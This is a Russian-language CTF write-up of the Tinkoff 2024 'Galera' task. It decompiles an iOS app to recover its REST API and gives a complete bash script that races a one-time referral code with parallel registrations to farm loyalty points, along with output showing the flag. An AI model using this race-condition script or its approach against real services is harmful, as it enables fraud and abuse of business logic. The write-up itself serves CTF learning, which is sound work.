CTF - Галера - Tinkoff 2024
1 Исходные данные
Ссылка на задачу
Галера
Описание
Аутстафф-компания заманила разработчиков интересными задачами, а потом заперла их на настоящей галере, приковала к вёслам и отправила в плавание.
Освободите команду.
Приложение программы корпоративной лояльности: Galera_be1756d.ipa
Приложение
galera.zip
2 Решение
2.1 Анализ файла Galera_be1756d.ipa
Файл Galera_be1756d.ipa на самом деле является архивом
[amyasnikov@ubuntu:~]$ file Galera_be1756d.ipa
Galera_be1756d.ipa: Zip archive data, at least v1.0 to extract, compression method=store
Извлекаем все файлы
[amyasnikov@ubuntu:~]$ unzip Galera_be1756d.ipa
Archive: Galera_be1756d.ipa
creating: Payload/
creating: Payload/Galera.app/
inflating: Payload/Galera.app/Galera
creating: Payload/Galera.app/Base.lproj/
creating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/
inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/01J-lp-oVM-view-Ze5-6b-2t3.nib
inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/UIViewController-01J-lp-oVM.nib
inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/Info.plist
creating: Payload/Galera.app/Base.lproj/Main.storyboardc/
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/BYZ-38-t0r-view-8bC-Xf-vdC.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/OS8-at-wSr-view-h4b-SP-lrB.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-qFL-ON-XXG.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/MainNavigationViewController.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/XJe-B7-Q8x-view-zsP-ba-LeN.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-wnA-UJ-Lzf.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/jey-NU-HkL-view-aGf-ia-qEJ.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/afu-Ef-8r8-view-Isf-IX-avJ.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/qFL-ON-XXG-view-351-VT-mQx.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-jey-NU-HkL.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/Info.plist
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-OS8-at-wSr.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/wnA-UJ-Lzf-view-FfP-lE-HrX.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/WelcomeNavigationController.nib
inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/LoginViewControllerID.nib
creating: Payload/Galera.app/_CodeSignature/
inflating: Payload/Galera.app/_CodeSignature/CodeResources
inflating: Payload/Galera.app/ScheduleTableViewCell.nib
inflating: Payload/Galera.app/Info.plist
extracting: Payload/Galera.app/PkgInfo
inflating: Payload/Galera.app/embedded.mobileprovision
В архиве есть бинарный исполняемый файл Galera
[amyasnikov@ubuntu:~]$ file Payload/Galera.app/Galera
Payload/Galera.app/Galera: Mach-O 64-bit executable arm64
Больше в архиве ничего интересного нет
2.2 Анализ файла Galera
Воспользуемся онлайн декомпилятором dogbolt.org
Загружаем файл Galera, выбираем декомпилятор Hex-Rays. У других декомпиляторов результаты сильно хуже для этого файла
В выводе всего 3433 строк C-кода
В этом коде можно заметить обработку http запросов. Видны эндпоинты, методы, параметры запросов, ответов
Пример подобной функции
//----- (00000001000063C0) ----------------------------------------------------
void __cdecl -[CreateAccounViewController createAccountClicked:](CreateAccounViewController *self, SEL a2, id a3)
{
UITextField *v4; // x20
UITextField *v5; // x21
UITextField *v6; // x23
NSString *v7; // x21
NSUserDefaults *v8; // x25
const char *v9; // x24
NSString *v10; // x26
NSString *v11; // x23
NSString *v12; // x27
NSString *v13; // x26
NSURL *v14; // x24
NSMutableURLRequest *v15; // x25
NSString *v16; // x26
NSString *v17; // x26
NSString *v18; // x27
id v19; // x26
NSString *v20; // x19
NSString *v21; // x27
NSString *v22; // x27
NSString *v23; // x19
NSString *v24; // x27
NSString *v25; // x19
NSData *v26; // x27
id v27; // x28
NSURLSession *v28; // x19
NSURLSessionDataTask *v29; // x22
NSString *v30; // [xsp+10h] [xbp-90h]
NSString *v31; // [xsp+18h] [xbp-88h]
__int64 v32[5]; // [xsp+20h] [xbp-80h] BYREF
id v33; // [xsp+48h] [xbp-58h] BYREF
v4 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController usernameField](self, "usernameField", a3));
v31 = objc_retainAutoreleasedReturnValue(-[UITextField text](v4, "text"));
objc_release(v4);
v5 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController passwordField](self, "passwordField"));
v30 = objc_retainAutoreleasedReturnValue(-[UITextField text](v5, "text"));
objc_release(v5);
v6 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController refcodeField](self, "refcodeField"));
v7 = objc_retainAutoreleasedReturnValue(-[UITextField text](v6, "text"));
objc_release(v6);
v8 = objc_retainAutoreleasedReturnValue(+[NSUserDefaults standardUserDefaults](&OBJC_CLASS___NSUserDefaults, "standardUserDefaults"));
v9 = "https://t-galera-u12p5koe.spbctf.net";
v10 = objc_retainAutoreleasedReturnValue(
+[NSString stringWithCString:](
&OBJC_CLASS___NSString,
"stringWithCString:",
"https://t-galera-u12p5koe.spbctf.net"));
v11 = objc_retainAutoreleasedReturnValue(-[NSUserDefaults stringForKey:](v8, "stringForKey:", v10));
objc_release(v10);
objc_release(v8);
if ( v11 )
v9 = -[NSString cString](objc_retainAutorelease(v11), "cString");
v12 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s/%s"));
v13 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v12, v9, "create"));
v14 = objc_retainAutoreleasedReturnValue(+[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", v13));
objc_release(v13);
objc_release(v12);
v15 = objc_retainAutoreleasedReturnValue(+[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v14));
v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "POST"));
-[NSMutableURLRequest setHTTPMethod:](v15, "setHTTPMethod:", v16);
objc_release(v16);
v17 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "application/json"));
v18 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "Content-Type"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](v15, "setValue:forHTTPHeaderField:", v17, v18);
objc_release(v18);
objc_release(v17);
v19 = objc_alloc_init((Class)&OBJC_CLASS___NSMutableDictionary);
v20 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
v21 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v20, "username"));
objc_msgSend(v19, "setObject:forKey:", v31, v21);
objc_release(v21);
objc_release(v20);
v22 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
v23 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v22, "password"));
objc_msgSend(v19, "setObject:forKey:", v30, v23);
objc_release(v23);
objc_release(v22);
if ( -[NSString length](v7, "length") )
{
v24 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
v25 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v24, "ref_code"));
objc_msgSend(v19, "setObject:forKey:", v7, v25);
objc_release(v25);
objc_release(v24);
}
v33 = 0LL;
v26 = objc_retainAutoreleasedReturnValue(
+[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v19,
0LL,
&v33));
v27 = objc_retain(v33);
if ( v26 )
{
-[NSMutableURLRequest setHTTPBody:](v15, "setHTTPBody:", v26);
v28 = objc_retainAutoreleasedReturnValue(+[NSURLSession sharedSession](&OBJC_CLASS___NSURLSession, "sharedSession"));
v32[0] = (__int64)_NSConcreteStackBlock;
v32[1] = 3254779904LL;
v32[2] = (__int64)sub_10000685C;
v32[3] = (__int64)&unk_100010158;
v32[4] = (__int64)self;
v29 = objc_retainAutoreleasedReturnValue(
-[NSURLSession dataTaskWithRequest:completionHandler:](
v28,
"dataTaskWithRequest:completionHandler:",
v15,
v32));
-[NSURLSessionDataTask resume](v29, "resume");
objc_release(v29);
objc_release(v28);
}
objc_release(v26);
objc_release(v27);
objc_release(v19);
objc_release(v15);
objc_release(v14);
objc_release(v11);
objc_release(v7);
objc_release(v30);
objc_release(v31);
}
2.3 Восстановление REST запросов
На основе C-кода и экспериментально можно восстановить все эндпоинты и понять как ими пользоваться
Создание пользователя. Указываем имя пользователя, пароль и опционально код.
[amyasnikov@ubuntu:~]$ curl -X POST https://t-galera-u12p5koe.spbctf.net/create \
-H 'Content-Type: application/json' \
--data '{"username": "<username>", "password": "<password>", "ref_code": "<ref_code>" }'
User created
Аутентификация. В ответе содержится токен
[amyasnikov@ubuntu:~]$ curl -s -X POST "https://t-galera-u12p5koe.spbctf.net/enter" \
-H "Content-Type: application/json" \
--data '{"username": "user_1001", "password": "user_1001"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjM2ODAwMywidXNlcm5hbWUiOiJ1c2VyXzEwMDEiLCJleHAiOjE3MTM5OTI1OTV9.TNVl9ZkE_DLEpf92GcNO8xJFLE7f8L_eW1ie7ebc6sw
Создание реферального кода
[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/ref" \
-H "Authorization: $TOKEN"
GALERA-12556ce0
Получение информации о пользователе
[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/profile" \
-H "Authorization: $TOKEN" | jq
{
"username": "user_1001",
"points": 1,
"position": "Junior Developer",
"purchases": [
{
"time": "2024-04-22T21:12:07.568817Z",
"description": "Симпатичная ручка с логотипом компании",
"price": 15
}
]
}
Список вещей, на которые можно потратить баллы
[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/items" | jq
[
{
"id": 1,
"price": 15,
"name": "Ручка",
"description": "Симпатичная ручка с логотипом компании"
},
{
"id": 2,
"price": 30,
"name": "Перерыв на кофе",
"description": "Бесплатный перерыв на кофе в пятницу"
},
{
"id": 1337,
"price": 1337,
"name": "Свобода",
"description": "Избавление от оков рабства"
}
]
Покупка какой либо вещи из списка
[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/buy?id=1" \
-H "Authorization: $TOKEN"
Покупка успешна
2.4 Стратегия получения флага
Чтобы получить флаг нужно купить свободу за 1337 баллов
Баллы дают за регистрацию с реферальным кодом, 100 баллов за пользователя
Реферальный код можно создать и использовать только один раз
Создадим одного пользователя без кода
Создадим реферальный код
Параллельно будем создавать много пользователй с этим кодом в надежде, что сервер не успеет обнулить действие кода
2.5 Написание программы для решения задачи
Напишем простой bash скрипт, который через curl вызывает нужные эндпоинты
Полный код скрипта
#!/bin/bash
user0=user_$(date +%s)
curl -X POST "https://t-galera-u12p5koe.spbctf.net/create" \
-H "Content-Type: application/json" \
--data '{"username": "'$user0'", "password": "'$user0'"}'
echo
token0=$(
curl -s -X POST "https://t-galera-u12p5koe.spbctf.net/enter" \
-H "Content-Type: application/json" \
--data '{"username": "'$user0'", "password": "'$user0'"}'
)
code=$(curl -s "https://t-galera-u12p5koe.spbctf.net/ref" -H "Authorization: $token0")
for ((i = 1; i <= 30; i++)); do
user=user_$(date +%s)_$i
curl -X POST "https://t-galera-u12p5koe.spbctf.net/create" \
-H "Content-Type: application/json" \
--data '{"username": "'$user'", "password": "'$user'", "ref_code": "'$code'" }' &>/dev/null &
done
sleep 5
curl -s "https://t-galera-u12p5koe.spbctf.net/buy?id=1337" -H "Authorization: $token0"
echo
curl -s "https://t-galera-u12p5koe.spbctf.net/profile" -H "Authorization: $token0" | jq
2.6 Получение флага
Запускаем написанную на bash программу
[amyasnikov@ubuntu:~]$ bash ./script.sh
User created
Покупка успешна
{
"username": "user_1713821702",
"points": 1179,
"position": "Senior Developer",
"purchases": [
{
"time": "2024-04-22T21:35:10.726617Z",
"description": "Избавление от оков рабства tctf{1O5_4RM_r3VERSe_Race_aNd_W1N}",
"price": 1337
}
]
}
С помощью одноразового кода зарегистрировали 25 пользователей и получили +2500 баллов
А это почти в два раза больше чем необходимо
Получили флаг tctf{1O5_4RM_r3VERSe_Race_aNd_W1N}
3 Ссылки
4 Выводы
- Скорее всего, подобные операции можно выполнить на некоторых онлайн платформах